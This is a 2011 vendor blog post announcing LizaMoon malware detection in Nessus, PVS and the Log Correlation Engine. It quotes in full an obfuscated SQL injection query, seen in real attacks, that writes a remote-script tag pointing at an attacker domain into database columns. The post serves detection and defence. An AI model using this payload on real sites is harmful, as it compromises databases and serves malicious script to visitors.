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"LizaMoon" Detection Added to Nessus, PVS and LCE

Paul Asadoorian's picture
By Paul Asadoorian on April 7th, 2011

Nessus plugin 29871 has been updated to look for the presence of malicious JavaScript on a remote web site.

(See Attack on ASP site that uses a SQL server database)

Below is an example of the plugin report:

NessusMalwareDetect-sm.png
Click for larger image

The Passive Vulnerability Scanner (PVS) has also been updated with plugin ID 5880, which will look for the malicious URL in transit across the network and fire an alert.

The Log Correlation Engine has been updated to include a TASL to look for queries that match the query being used in the LizaMoon attacks. For example, the SQL query used in the injection attacks has presented itself as:

surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categor
yName+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)
%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2B
char(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bch
ar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bc
har(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bch
ar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(
48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)
%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2
Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bc
har(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-->

(From: Attack on ASP site that uses a SQL server database)

The query used by LizaMoon is not unique to this particular malware so the TASL script will pick up similar SQL injection attacks.

Related Posts

  • Log Analysis
  • Nessus
  • Passive Network Monitoring

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